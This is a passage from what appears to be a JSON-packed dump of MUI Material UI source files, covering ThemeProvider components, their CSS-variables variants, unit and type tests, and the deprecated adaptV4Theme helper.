</ThemeProvider>,\n        ),\n      ).not.toErrorDev();\n    });\n\n    it('should be able to switch between modes', async () => {\n      const theme = createTheme({\n        colorSchemes: { dark: true },\n      });\n      const { user } = render(\n        <ThemeProvider theme={theme}>\n          <ModeSwitcher />\n        </ThemeProvider>,\n      );\n\n      expect(screen.getByTestId('mode-switcher')).to.have.property('value', 'system');\n\n      await user.selectOptions(screen.getByTestId('mode-switcher'), 'dark');\n\n      expect(screen.getByTestId('mode-switcher')).to.have.property('value', 'dark');\n    });\n\n    it('allows default mode to be changed', () => {\n      const theme = createTheme({\n        colorSchemes: { dark: true },\n      });\n\n      render(\n        <ThemeProvider theme={theme} defaultMode=\"dark\">\n          <ModeSwitcher />\n        </ThemeProvider>,\n      );\n\n      expect(screen.getByTestId('mode-switcher')).to.have.property('value', 'dark');\n    });\n  });\n\n  describe('nested ThemeProvider', () => {\n    it('should have `vars` as null for nested non-vars theme', () => {\n      const upperTheme = createTheme({\n        cssVariables: true,\n      });\n      const nestedTheme = createTheme({\n        palette: {\n          // @ts-ignore\n          ochre: {\n            main: '#E3D026',\n            light: '#E9DB5D',\n            dark: '#A29415',\n            contrastText: '#242105',\n          },\n        },\n      });\n      let theme: any;\n      function Component() {\n        theme = useTheme();\n        return <Button>Button</Button>;\n      }\n      render(\n        <ThemeProvider theme={upperTheme}>\n          <ThemeProvider theme={nestedTheme}>\n            <Component />\n          </ThemeProvider>\n        </ThemeProvider>,\n      );\n\n      expect(theme.vars).to.equal(null);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/ThemeProvider.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport { DefaultTheme } from '@mui/system';\nimport { StorageManager } from '@mui/system/cssVars';\nimport ThemeProviderNoVars from './ThemeProviderNoVars';\nimport { CssThemeVariables } from './createThemeNoVars';\nimport { CssVarsProvider } from './ThemeProviderWithVars';\nimport { CssVarsTheme } from './createThemeWithVars';\nimport THEME_ID from './identifier';\n\ntype ThemeProviderCssVariablesProps = CssThemeVariables extends { enabled: true }\n  ? {\n      /**\n       * The node for attaching the `theme.colorSchemeSelector`.\n       * @default document\n       */\n      colorSchemeNode?: Element | null | undefined;\n      /**\n       * If `true`, the provider creates its own context and generate stylesheet as if it is a root `ThemeProvider`.\n       */\n      disableNestedContext?: boolean | undefined;\n      /**\n       * If `true`, the style sheet for CSS theme variables won't be generated.\n       *\n       * This is useful for controlling nested ThemeProvider behavior.\n       * @default false\n       */\n      disableStyleSheetGeneration?: boolean | undefined;\n      /**\n       * If `true`, theme values are recalculated when the mode changes.\n       * The `theme.colorSchemes.{mode}.*` nodes will be shallow merged to the top-level of the theme.\n       * @default false\n       */\n      forceThemeRerender?: boolean | undefined;\n    }\n  : {};\n\nexport interface ThemeProviderProps<Theme = DefaultTheme> extends ThemeProviderCssVariablesProps {\n  children?: React.ReactNode;\n  theme: Partial<Theme> | ((outerTheme: Theme) => Theme);\n  /**\n   * The document used to perform `disableTransitionOnChange` feature\n   * @default document\n   */\n  documentNode?: Document | null | undefined;\n  /**\n   * The default mode when the local storage has no mode yet,\n   * requires the theme to have `colorSchemes` with light and dark.\n   * @default 'system'\n   */\n  defaultMode?: 'light' | 'dark' | 'system' | undefined;\n  /**\n   * The window that attaches the 'storage' event listener\n   * @default window\n   */\n  storageWindow?: Window | null | undefined;\n  /**\n   * The storage manager to be used for storing the mode and color scheme\n   * @default using `window.localStorage`\n   */\n  storageManager?: StorageManager | null | undefined;\n  /**\n   * localStorage key used to store application `mode`\n   * @default 'mui-mode'\n   */\n  modeStorageKey?: string | undefined;\n  /**\n   * localStorage key used to store `colorScheme`\n   * @default 'mui-color-scheme'\n   */\n  colorSchemeStorageKey?: string | undefined;\n  /*\n   * If `true`, ThemeProvider will not rerender and the initial value of `mode` comes from the local storage.\n   * For SSR applications, you must ensure that the server render output must match the initial render output on the client.\n   * @default false\n   */\n  noSsr?: boolean | undefined;\n  /**\n   * Disable CSS transitions when switching between modes or color schemes\n   * @default false\n   */\n  disableTransitionOnChange?: boolean | undefined;\n}\n\nexport default function ThemeProvider<Theme = DefaultTheme>({\n  theme,\n  ...props\n}: ThemeProviderProps<Theme>) {\n  const noVarsTheme = React.useMemo(() => {\n    if (typeof theme === 'function') {\n      return theme;\n    }\n    const muiTheme = (THEME_ID in theme ? theme[THEME_ID] : theme) as ThemeProviderProps['theme'];\n    if (!('colorSchemes' in muiTheme)) {\n      if (!('vars' in muiTheme)) {\n        // For non-CSS variables themes, set `vars` to null to prevent theme inheritance from the upper theme.\n        // The example use case is the docs demo that uses ThemeProvider to customize the theme while the upper theme is using CSS variables.\n        return { ...theme, vars: null };\n      }\n      return theme;\n    }\n    return null;\n  }, [theme]);\n\n  if (noVarsTheme) {\n    return <ThemeProviderNoVars theme={noVarsTheme} {...props} />;\n  }\n  return <CssVarsProvider theme={theme as unknown as CssVarsTheme} {...props} />;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/ThemeProviderNoVars.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport { ThemeProvider as SystemThemeProvider, DefaultTheme } from '@mui/system';\nimport THEME_ID from './identifier';\n\nexport interface ThemeProviderNoVarsProps<Theme = DefaultTheme> {\n  children?: React.ReactNode;\n  theme: Partial<Theme> | ((outerTheme: Theme) => Theme);\n}\n\nexport default function ThemeProviderNoVars<Theme = DefaultTheme>({\n  theme: themeInput,\n  ...props\n}: ThemeProviderNoVarsProps<Theme>): React.ReactElement<ThemeProviderNoVarsProps<Theme>> {\n  const scopedTheme = THEME_ID in themeInput ? themeInput[THEME_ID] : undefined;\n  return (\n    <SystemThemeProvider\n      {...props}\n      themeId={scopedTheme ? THEME_ID : undefined}\n      theme={scopedTheme || themeInput}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/ThemeProviderWithVars.spec.tsx",
    "content": "import {\n  extendTheme,\n  ThemeProvider,\n  styled,\n  useTheme,\n  Overlays,\n  StorageManager,\n} from '@mui/material/styles';\nimport type {} from '@mui/material/themeCssVarsAugmentation';\n\nconst customTheme = extendTheme({\n  colorSchemes: {\n    light: {\n      opacity: {\n        inputPlaceholder: 0.1,\n        inputUnderline: 0.1,\n      },\n      overlays: Array(25).fill('') as Overlays,\n      palette: {\n        AppBar: {\n          darkBg: '',\n          darkColor: '',\n          defaultBg: '',\n        },\n        // @ts-expect-error\n        mode: '',\n        getContrastText: () => '',\n        tonalOffset: 1,\n      },\n    },\n    dark: {\n      opacity: {},\n      palette: {},\n    },\n  },\n  components: {\n    MuiButton: {\n      styleOverrides: {\n        root: ({ theme }) => ({\n          color: theme.vars.palette.primary.main,\n        }),\n      },\n    },\n  },\n});\n\nconst TestStyled = styled('div')(({ theme }) => ({\n  // test that `theme.vars` works\n  color: theme.vars.palette.primary.main,\n  // test that `theme.getColorSchemeSelector` works\n  [theme.getColorSchemeSelector('dark')]: {\n    color: theme.vars.palette.common.onBackground,\n  },\n}));\n\nfunction TestUseTheme() {\n  const theme = useTheme();\n  // test that `theme` from useTheme has access to CSS vars\n  return <div style={{ background: theme.vars.palette.common.background }}>test</div>;\n}\n\n<ThemeProvider theme={customTheme}>\n  <TestStyled\n    sx={(theme) => ({\n      // test that `theme` in sx has access to CSS vars\n      [theme.getColorSchemeSelector('dark')]: {\n        border: '1px solid',\n        borderColor: theme.vars.palette.divider,\n      },\n    })}\n  />\n</ThemeProvider>;\n\n<ThemeProvider theme={customTheme} storageManager={null} />;\n\nconst storageManager: StorageManager = () => {\n  return {\n    get: () => 'light',\n    set: () => {},\n    subscribe: () => () => {},\n  };\n};\n\n<ThemeProvider theme={customTheme} storageManager={storageManager} />;\n"
  },
  {
    "path": "packages/mui-material/src/styles/ThemeProviderWithVars.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen, fireEvent, isJsdom } from '@mui/internal-test-utils';\nimport Box from '@mui/material/Box';\nimport {\n  CssVarsProvider,\n  extendTheme,\n  useTheme,\n  ThemeProvider,\n  createTheme,\n  useColorScheme,\n} from '@mui/material/styles';\n\ndescribe('[Material UI] ThemeProviderWithVars', () => {\n  let originalMatchmedia;\n  const { render } = createRenderer();\n  let storage = {};\n\n  beforeEach(() => {\n    originalMatchmedia = window.matchMedia;\n    // clear the localstorage\n    storage = {};\n    // Create mocks of localStorage getItem and setItem functions\n    Object.defineProperty(window, 'localStorage', {\n      value: {\n        getItem: (key) => storage[key],\n        setItem: (key, value) => {\n          storage[key] = value;\n        },\n      },\n      configurable: true,\n    });\n    window.matchMedia = () => ({\n      // Keep mocking legacy methods because @mui/material v5 still uses them\n      addListener: () => {},\n      addEventListener: () => {},\n      removeListener: () => {},\n      removeEventListener: () => {},\n    });\n  });\n\n  afterEach(() => {\n    window.matchMedia = originalMatchmedia;\n  });\n\n  describe('All CSS vars', () => {\n    it('palette', () => {\n      function Vars() {\n        const theme = useTheme();\n        return (\n          <div>\n            <div data-testid=\"palette-primary\">{JSON.stringify(theme.vars.palette.primary)}</div>\n            <div data-testid=\"palette-secondary\">\n              {JSON.stringify(theme.vars.palette.secondary)}\n            </div>\n            <div data-testid=\"palette-error\">{JSON.stringify(theme.vars.palette.error)}</div>\n            <div data-testid=\"palette-info\">{JSON.stringify(theme.vars.palette.info)}</div>\n            <div data-testid=\"palette-success\">{JSON.stringify(theme.vars.palette.success)}</div>\n            <div data-testid=\"palette-warning\">{JSON.stringify(theme.vars.palette.warning)}</div>\n            <div data-testid=\"palette-text\">{JSON.stringify(theme.vars.palette.text)}</div>\n            <div data-testid=\"palette-background\">\n              {JSON.stringify(theme.vars.palette.background)}\n            </div>\n            <div data-testid=\"palette-divider\">{JSON.stringify(theme.vars.palette.divider)}</div>\n            <div data-testid=\"palette-action\">{JSON.stringify(theme.vars.palette.action)}</div>\n            <div data-testid=\"palette-common\">{JSON.stringify(theme.vars.palette.common)}</div>\n          </div>\n        );\n      }\n\n      render(\n        <CssVarsProvider theme={extendTheme({ colorSchemes: { light: true, dark: true } })}>\n          <Vars />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('palette-primary').textContent).to.equal(\n        JSON.stringify({\n          main: 'var(--mui-palette-primary-main)',\n          light: 'var(--mui-palette-primary-light)',\n          dark: 'var(--mui-palette-primary-dark)',\n          contrastText: 'var(--mui-palette-primary-contrastText)',\n          mainChannel: 'var(--mui-palette-primary-mainChannel)',\n          lightChannel: 'var(--mui-palette-primary-lightChannel)',\n          darkChannel: 'var(--mui-palette-primary-darkChannel)',\n          contrastTextChannel: 'var(--mui-palette-primary-contrastTextChannel)',\n        }),\n      );\n      expect(screen.getByTestId('palette-secondary').textContent).to.equal(\n        JSON.stringify({\n          main: 'var(--mui-palette-secondary-main)',\n          light: 'var(--mui-palette-secondary-light)',\n          dark: 'var(--mui-palette-secondary-dark)',\n          contrastText: 'var(--mui-palette-secondary-contrastText)',\n          mainChannel: 'var(--mui-palette-secondary-mainChannel)',\n          lightChannel: 'var(--mui-palette-secondary-lightChannel)',\n          darkChannel: 'var(--mui-palette-secondary-darkChannel)',\n          contrastTextChannel: 'var(--mui-palette-secondary-contrastTextChannel)',\n        }),\n      );\n      expect(screen.getByTestId('palette-error').textContent).to.equal(\n        JSON.stringify({\n          main: 'var(--mui-palette-error-main)',\n          light: 'var(--mui-palette-error-light)',\n          dark: 'var(--mui-palette-error-dark)',\n          contrastText: 'var(--mui-palette-error-contrastText)',\n          mainChannel: 'var(--mui-palette-error-mainChannel)',\n          lightChannel: 'var(--mui-palette-error-lightChannel)',\n          darkChannel: 'var(--mui-palette-error-darkChannel)',\n          contrastTextChannel: 'var(--mui-palette-error-contrastTextChannel)',\n        }),\n      );\n      expect(screen.getByTestId('palette-warning').textContent).to.equal(\n        JSON.stringify({\n          main: 'var(--mui-palette-warning-main)',\n          light: 'var(--mui-palette-warning-light)',\n          dark: 'var(--mui-palette-warning-dark)',\n          contrastText: 'var(--mui-palette-warning-contrastText)',\n          mainChannel: 'var(--mui-palette-warning-mainChannel)',\n          lightChannel: 'var(--mui-palette-warning-lightChannel)',\n          darkChannel: 'var(--mui-palette-warning-darkChannel)',\n          contrastTextChannel: 'var(--mui-palette-warning-contrastTextChannel)',\n        }),\n      );\n      expect(screen.getByTestId('palette-info').textContent).to.equal(\n        JSON.stringify({\n          main: 'var(--mui-palette-info-main)',\n          light: 'var(--mui-palette-info-light)',\n          dark: 'var(--mui-palette-info-dark)',\n          contrastText: 'var(--mui-palette-info-contrastText)',\n          mainChannel: 'var(--mui-palette-info-mainChannel)',\n          lightChannel: 'var(--mui-palette-info-lightChannel)',\n          darkChannel: 'var(--mui-palette-info-darkChannel)',\n          contrastTextChannel: 'var(--mui-palette-info-contrastTextChannel)',\n        }),\n      );\n      expect(screen.getByTestId('palette-success').textContent).to.equal(\n        JSON.stringify({\n          main: 'var(--mui-palette-success-main)',\n          light: 'var(--mui-palette-success-light)',\n          dark: 'var(--mui-palette-success-dark)',\n          contrastText: 'var(--mui-palette-success-contrastText)',\n          mainChannel: 'var(--mui-palette-success-mainChannel)',\n          lightChannel: 'var(--mui-palette-success-lightChannel)',\n          darkChannel: 'var(--mui-palette-success-darkChannel)',\n          contrastTextChannel: 'var(--mui-palette-success-contrastTextChannel)',\n        }),\n      );\n\n      expect(screen.getByTestId('palette-text').textContent).to.equal(\n        JSON.stringify({\n          primary: 'var(--mui-palette-text-primary)',\n          secondary: 'var(--mui-palette-text-secondary)',\n          disabled: 'var(--mui-palette-text-disabled)',\n          icon: 'var(--mui-palette-text-icon)',\n          primaryChannel: 'var(--mui-palette-text-primaryChannel)',\n          secondaryChannel: 'var(--mui-palette-text-secondaryChannel)',\n        }),\n      );\n      expect(screen.getByTestId('palette-divider').textContent).to.equal(\n        '\"var(--mui-palette-divider)\"',\n      );\n      expect(screen.getByTestId('palette-background').textContent).to.equal(\n        JSON.stringify({\n          paper: 'var(--mui-palette-background-paper)',\n          default: 'var(--mui-palette-background-default)',\n          defaultChannel: 'var(--mui-palette-background-defaultChannel)',\n          paperChannel: 'var(--mui-palette-background-paperChannel)',\n        }),\n      );\n      expect(screen.getByTestId('palette-action').textContent).to.equal(\n        JSON.stringify({\n          active: 'var(--mui-palette-action-active)',\n          hover: 'var(--mui-palette-action-hover)',\n          hoverOpacity: 'var(--mui-palette-action-hoverOpacity)',\n          selected: 'var(--mui-palette-action-selected)',\n          selectedOpacity: 'var(--mui-palette-action-selectedOpacity)',\n          disabled: 'var(--mui-palette-action-disabled)',\n          disabledBackground: 'var(--mui-palette-action-disabledBackground)',\n          disabledOpacity: 'var(--mui-palette-action-disabledOpacity)',\n          focus: 'var(--mui-palette-action-focus)',\n          focusOpacity: 'var(--mui-palette-action-focusOpacity)',\n          activatedOpacity: 'var(--mui-palette-action-activatedOpacity)',\n          activeChannel: 'var(--mui-palette-action-activeChannel)',\n          selectedChannel: 'var(--mui-palette-action-selectedChannel)',\n        }),\n      );\n      expect(screen.getByTestId('palette-common').textContent).to.equal(\n        JSON.stringify({\n          black: 'var(--mui-palette-common-black)',\n          white: 'var(--mui-palette-common-white)',\n          background: 'var(--mui-palette-common-background)',\n          onBackground: 'var(--mui-palette-common-onBackground)',\n          backgroundChannel: 'var(--mui-palette-common-backgroundChannel)',\n          onBackgroundChannel: 'var(--mui-palette-common-onBackgroundChannel)',\n        }),\n      );\n    });\n\n    it('opacity', () => {\n      function Vars() {\n        const theme = useTheme();\n        return (\n          <div>\n            <div data-testid=\"opacity\">{JSON.stringify(theme.vars.opacity)}</div>\n          </div>\n        );\n      }\n\n      render(\n        <CssVarsProvider>\n          <Vars />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('opacity').textContent).to.equal(\n        JSON.stringify({\n          inputPlaceholder: 'var(--mui-opacity-inputPlaceholder)',\n          inputUnderline: 'var(--mui-opacity-inputUnderline)',\n          switchTrackDisabled: 'var(--mui-opacity-switchTrackDisabled)',\n          switchTrack: 'var(--mui-opacity-switchTrack)',\n        }),\n      );\n    });\n\n    it('shape', () => {\n      function Vars() {\n        const theme = useTheme();\n        return (\n          <div>\n            <div data-testid=\"shape\">{JSON.stringify(theme.vars.shape)}</div>\n          </div>\n        );\n      }\n\n      render(\n        <CssVarsProvider>\n          <Vars />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('shape').textContent).to.equal(\n        JSON.stringify({\n          borderRadius: 'var(--mui-shape-borderRadius)',\n        }),\n      );\n    });\n  });\n\n  describe('Typography', () => {\n    it('contain expected typography', function test() {\n      function Text() {\n        const theme = useTheme();\n        return <div>{Object.keys(theme.typography).join(',')}</div>;\n      }\n\n      const { container } = render(\n        <CssVarsProvider>\n          <Text />\n        </CssVarsProvider>,\n      );\n\n      expect(container.firstChild?.textContent).to.equal(\n        'htmlFontSize,pxToRem,fontFamily,fontSize,fontWeightLight,fontWeightRegular,fontWeightMedium,fontWeightBold,h1,h2,h3,h4,h5,h6,subtitle1,subtitle2,body1,body2,button,caption,overline,inherit',\n      );\n    });\n  });\n\n  describe('Spacing', () => {\n    it('provides spacing utility', function test() {\n      function Text() {\n        const theme = useTheme();\n        return <div>{theme.spacing(2)}</div>;\n      }\n\n      const { container } = render(\n        <CssVarsProvider>\n          <Text />\n        </CssVarsProvider>,\n      );\n\n      expect(container.firstChild?.textContent).to.equal('calc(2 * var(--mui-spacing))');\n    });\n  });\n\n  describe('Breakpoints', () => {\n    it('provides breakpoint utilities', function test() {\n      function Text() {\n        const theme = useTheme();\n        return <div>{theme.breakpoints.up('sm')}</div>;\n      }\n\n      const { container } = render(\n        <CssVarsProvider>\n          <Text />\n        </CssVarsProvider>,\n      );\n\n      expect(container.firstChild?.textContent).to.equal('@media (min-width:600px)');\n    });\n  });\n\n  describe('Skipped vars', () => {\n    it('should not contain `variants` in theme.vars', () => {\n      function Consumer() {\n        const theme = useTheme();\n        // @ts-expect-error\n        return <div>{theme.vars.variants ? 'variants' : ''}</div>;\n      }\n\n      const { container } = render(\n        <CssVarsProvider>\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      expect(container.firstChild?.textContent).not.to.equal('variants');\n    });\n\n    it('should not contain `focus` in theme.vars', () => {\n      function Consumer() {\n        const theme = useTheme();\n        // @ts-expect-error\n        return <div>{theme.vars.focus ? 'focus' : ''}</div>;\n      }\n\n      const { container } = render(\n        <CssVarsProvider>\n          <Consumer />\n        </CssVarsProvider>,\n      );\n\n      expect(container.firstChild?.textContent).not.to.equal('focus');\n    });\n  });\n\n  it.skipIf(isJsdom() || !/WebKit/.test(window.navigator.userAgent))(\n    \"should use numeric values in system's spacing\",\n    function test() {\n      render(\n        <CssVarsProvider>\n          <Box\n            data-testid=\"box-1\"\n            sx={{\n              borderRadius: '50%',\n            }}\n          />\n          <Box\n            data-testid=\"box-2\"\n            sx={{\n              borderRadius: 4,\n            }}\n          />\n        </CssVarsProvider>,\n      );\n\n      expect(screen.getByTestId('box-1')).toHaveComputedStyle({\n        borderTopLeftRadius: '50%',\n        borderTopRightRadius: '50%',\n        borderBottomLeftRadius: '50%',\n        borderBottomRightRadius: '50%',\n      });\n      expect(screen.getByTestId('box-2')).toHaveComputedStyle({\n        borderTopLeftRadius: '16px',\n        borderTopRightRadius: '16px',\n        borderBottomLeftRadius: '16px',\n        borderBottomRightRadius: '16px',\n      });\n    },\n  );\n\n  it('warns when using `setMode` without configuring `colorSchemeSelector`', () => {\n    function Test() {\n      const { setMode } = useColorScheme();\n      return <button onClick={() => setMode('dark')}>Dark</button>;\n    }\n    render(\n      <ThemeProvider\n        theme={createTheme({ cssVariables: true, colorSchemes: { light: true, dark: true } })}\n      >\n        <Test />\n      </ThemeProvider>,\n    );\n\n    expect(() => {\n      fireEvent.click(screen.getByText('Dark'));\n    }).toErrorDev([\n      'MUI: The `setMode` function has no effect if `colorSchemeSelector` is `media` (`media` is the default value).\\nTo toggle the mode manually, please configure `colorSchemeSelector` to use a class or data attribute.\\nTo learn more, visit https://mui.com/material-ui/customization/css-theme-variables/configuration/#toggling-dark-mode-manually',\n    ]);\n  });\n\n  it('do not warn when using `setMode` with `colorSchemeSelector` that is not `media`', () => {\n    function Test() {\n      const { setMode } = useColorScheme();\n      return <button onClick={() => setMode('dark')}>Dark</button>;\n    }\n    render(\n      <ThemeProvider\n        theme={createTheme({\n          cssVariables: { colorSchemeSelector: 'class' },\n          colorSchemes: { light: true, dark: true },\n        })}\n      >\n        <Test />\n      </ThemeProvider>,\n    );\n\n    expect(() => {\n      fireEvent.click(screen.getByText('Dark'));\n    }).not.toErrorDev();\n  });\n\n  it('theme should remain the same when ThemeProvider rerenders', () => {\n    const theme = createTheme({ cssVariables: true });\n\n    function Inner() {\n      const upperTheme = useTheme();\n      const themeRef = React.useRef(upperTheme);\n      const [changed, setChanged] = React.useState(false);\n      React.useEffect(() => {\n        if (themeRef.current !== upperTheme) {\n          setChanged(true);\n        }\n      }, [upperTheme]);\n      return changed ? <div data-testid=\"theme-changed\" /> : null;\n    }\n    function App() {\n      const [, setState] = React.useState({});\n      const rerender = () => setState({});\n      return (\n        <ThemeProvider theme={theme}>\n          <button onClick={() => rerender()}>rerender</button>\n          <Inner />\n        </ThemeProvider>\n      );\n    }\n    render(<App />);\n\n    fireEvent.click(screen.getByRole('button'));\n\n    expect(screen.queryByTestId('theme-changed')).to.equal(null);\n  });\n\n  it('theme does not change with CSS variables', () => {\n    function Toggle() {\n      const [count, setCount] = React.useState(0);\n      const { setMode } = useColorScheme();\n      const theme = useTheme();\n      React.useEffect(() => {\n        setCount((prev) => prev + 1);\n      }, [theme]);\n      return (\n        <button onClick={() => setMode('dark')}>\n          {count} {theme.palette.mode}\n        </button>\n      );\n    }\n\n    const theme = createTheme({\n      cssVariables: { colorSchemeSelector: 'class' },\n      colorSchemes: { light: true, dark: true },\n    });\n    function App() {\n      return (\n        <ThemeProvider theme={theme}>\n          <Toggle />\n        </ThemeProvider>\n      );\n    }\n    const view = render(<App />);\n\n    expect(view.container).to.have.text(`2 light`);\n\n    fireEvent.click(screen.getByRole('button'));\n\n    expect(view.container).to.have.text(`2 light`);\n  });\n\n  it('palette mode should change if not using CSS variables', () => {\n    function Toggle() {\n      const [count, setCount] = React.useState(0);\n      const { setMode } = useColorScheme();\n      const theme = useTheme();\n      React.useEffect(() => {\n        setCount((prev) => prev + 1);\n      }, [theme]);\n      return (\n        <button onClick={() => setMode('dark')}>\n          {count} {theme.palette.mode} {theme.palette.primary.main}\n        </button>\n      );\n    }\n\n    const theme = createTheme({\n      cssVariables: false,\n      colorSchemes: { light: true, dark: true },\n    });\n    function App() {\n      return (\n        <ThemeProvider theme={theme}>\n          <Toggle />\n        </ThemeProvider>\n      );\n    }\n    const view = render(<App />);\n\n    expect(view.container).to.have.text(`2 light ${createTheme().palette.primary.main}`);\n\n    fireEvent.click(screen.getByRole('button'));\n\n    expect(view.container).to.have.text(\n      `3 dark ${createTheme({ palette: { mode: 'dark' } }).palette.primary.main}`,\n    );\n  });\n\n  it('`forceThemeRerender` recalculates the theme', () => {\n    function Toggle() {\n      const [count, setCount] = React.useState(0);\n      const { setMode } = useColorScheme();\n      const theme = useTheme();\n      React.useEffect(() => {\n        setCount((prev) => prev + 1);\n      }, [theme]);\n      return (\n        <button onClick={() => setMode('dark')}>\n          {count} {theme.palette.mode}\n        </button>\n      );\n    }\n\n    const theme = createTheme({\n      cssVariables: { colorSchemeSelector: 'class' },\n      colorSchemes: { light: true, dark: true },\n    });\n    function App() {\n      return (\n        <ThemeProvider theme={theme} forceThemeRerender>\n          <Toggle />\n        </ThemeProvider>\n      );\n    }\n    const view = render(<App />);\n\n    expect(view.container).to.have.text(`2 light`);\n\n    fireEvent.click(screen.getByRole('button'));\n\n    expect(view.container).to.have.text(`3 dark`);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/ThemeProviderWithVars.tsx",
    "content": "'use client';\nimport styleFunctionSx from '@mui/system/styleFunctionSx';\nimport { unstable_createCssVarsProvider as createCssVarsProvider, SxProps } from '@mui/system';\nimport { SupportedColorScheme, CssVarsTheme } from './createThemeWithVars';\nimport createTheme from './createTheme';\nimport createTypography from './createTypography';\nimport THEME_ID from './identifier';\nimport { defaultConfig } from '../InitColorSchemeScript/InitColorSchemeScript';\n\nconst {\n  CssVarsProvider: InternalCssVarsProvider,\n  useColorScheme,\n  getInitColorSchemeScript: deprecatedGetInitColorSchemeScript,\n} = createCssVarsProvider<SupportedColorScheme, typeof THEME_ID>({\n  themeId: THEME_ID,\n  // @ts-ignore ignore module augmentation tests\n  theme: () => createTheme({ cssVariables: true }),\n  colorSchemeStorageKey: defaultConfig.colorSchemeStorageKey,\n  modeStorageKey: defaultConfig.modeStorageKey,\n  defaultColorScheme: {\n    light: defaultConfig.defaultLightColorScheme,\n    dark: defaultConfig.defaultDarkColorScheme,\n  },\n  resolveTheme: (theme) => {\n    const newTheme = {\n      ...theme,\n      typography: createTypography(theme.palette, theme.typography),\n    };\n\n    newTheme.unstable_sx = function sx(props: SxProps<CssVarsTheme>) {\n      return styleFunctionSx({ sx: props, theme: this });\n    };\n\n    return newTheme;\n  },\n});\n\nlet warnedOnce = false;\n\n// TODO: remove in v7\n// eslint-disable-next-line @typescript-eslint/naming-convention\nfunction Experimental_CssVarsProvider(props: any) {\n  if (process.env.NODE_ENV !== 'production') {\n    if (!warnedOnce) {\n      console.warn(\n        [\n          'MUI: The Experimental_CssVarsProvider component has been ported into ThemeProvider.',\n          '',\n          \"You should use `import { ThemeProvider } from '@mui/material/styles'` instead.\",\n          'For more details, check out https://mui.com/material-ui/customization/css-theme-variables/usage/',\n        ].join('\\n'),\n      );\n\n      warnedOnce = true;\n    }\n  }\n\n  return <InternalCssVarsProvider {...props} />;\n}\n\nlet warnedInitScriptOnce = false;\n\n// TODO: remove in v7\nconst getInitColorSchemeScript: typeof deprecatedGetInitColorSchemeScript = (params) => {\n  if (!warnedInitScriptOnce) {\n    console.warn(\n      [\n        'MUI: The getInitColorSchemeScript function has been deprecated.',\n        '',\n        \"You should use `import InitColorSchemeScript from '@mui/material/InitColorSchemeScript'`\",\n        'and replace the function call with `<InitColorSchemeScript />` instead.',\n      ].join('\\n'),\n    );\n\n    warnedInitScriptOnce = true;\n  }\n  return deprecatedGetInitColorSchemeScript(params);\n};\n\n/**\n * TODO: remove this export in v7\n * @deprecated\n * The `CssVarsProvider` component has been deprecated and ported into `ThemeProvider`.\n *\n * You should use `ThemeProvider` and `createTheme()` instead:\n *\n * ```diff\n * - import { CssVarsProvider, extendTheme } from '@mui/material/styles';\n * + import { ThemeProvider, createTheme } from '@mui/material/styles';\n *\n * - const theme = extendTheme();\n * + const theme = createTheme({\n * +   cssVariables: true,\n * +   colorSchemes: { light: true, dark: true },\n * + });\n *\n * - <CssVarsProvider theme={theme}>\n * + <ThemeProvider theme={theme}>\n * ```\n *\n * To see the full documentation, check out https://mui.com/material-ui/customization/css-theme-variables/usage/.\n */\nexport const CssVarsProvider = InternalCssVarsProvider;\n\nexport { useColorScheme, getInitColorSchemeScript, Experimental_CssVarsProvider };\n"
  },
  {
    "path": "packages/mui-material/src/styles/adaptV4Theme.d.ts",
    "content": "import { BreakpointsOptions, ShapeOptions, SpacingOptions } from '@mui/system';\nimport { MixinsOptions } from './createMixins';\nimport { Palette, PaletteOptions } from './createPalette';\nimport { TypographyVariantsOptions } from './createTypography';\nimport { Shadows } from './shadows';\nimport { TransitionsOptions } from './createTransitions';\nimport { ZIndexOptions } from './zIndex';\nimport { ComponentsOverrides } from './overrides';\nimport { ComponentsVariants } from './variants';\nimport { ComponentsProps } from './props';\nimport { Theme } from './createTheme';\n\nexport type Direction = 'ltr' | 'rtl';\n\nexport interface DeprecatedThemeOptions {\n  shape?: ShapeOptions | undefined;\n  breakpoints?: BreakpointsOptions | undefined;\n  direction?: Direction | undefined;\n  mixins?: MixinsOptions | undefined;\n  overrides?: ComponentsOverrides | undefined;\n  palette?: PaletteOptions | undefined;\n  props?: ComponentsProps | undefined;\n  shadows?: Shadows | undefined;\n  spacing?: SpacingOptions | undefined;\n  transitions?: TransitionsOptions | undefined;\n  typography?:\n    | TypographyVariantsOptions\n    | ((palette: Palette) => TypographyVariantsOptions)\n    | undefined;\n  variants?: ComponentsVariants | undefined;\n  zIndex?: ZIndexOptions | undefined;\n  unstable_strictMode?: boolean | undefined;\n}\n\n/**\n * Generate a theme base on the V4 theme options received.\n * @deprecated Follow the upgrade guide on https://mui.com/r/migration-v4#theme\n * @param options Takes an incomplete theme object and adds the missing parts.\n * @returns A complete, ready-to-use theme object.\n */\nexport default function adaptV4Theme(options?: DeprecatedThemeOptions): Theme;\n"
  },
  {
    "path": "packages/mui-material/src/styles/adaptV4Theme.js",
    "content": "'use client';\nimport { createBreakpoints, createSpacing } from '@mui/system';\n\nexport default function adaptV4Theme(inputTheme) {\n  if (process.env.NODE_ENV !== 'production') {\n    console.warn(\n      [\n        'MUI: adaptV4Theme() is deprecated.',\n        'Follow the upgrade guide on https://mui.com/r/migration-v4#theme.',\n      ].join('\\n'),\n    );\n  }\n\n  const {\n    defaultProps = {},\n    mixins = {},\n    overrides = {},\n    palette = {},\n    props = {},\n    styleOverrides = {},\n    ...other\n  } = inputTheme;\n  const theme = {\n    ...other,\n    components: {},\n  };\n\n  // default props\n  Object.keys(defaultProps).forEach((component) => {\n    const componentValue = theme.components[component] || {};\n    componentValue.defaultProps = defaultProps[component];\n    theme.components[component] = componentValue;\n  });\n\n  Object.keys(props).forEach((component) => {\n    const componentValue = theme.components[component] || {};\n    componentValue.defaultProps = props[component];\n    theme.components[component] = componentValue;\n  });\n\n  // CSS overrides\n  Object.keys(styleOverrides).forEach((component) => {\n    const componentValue = theme.components[component] || {};\n    componentValue.styleOverrides = 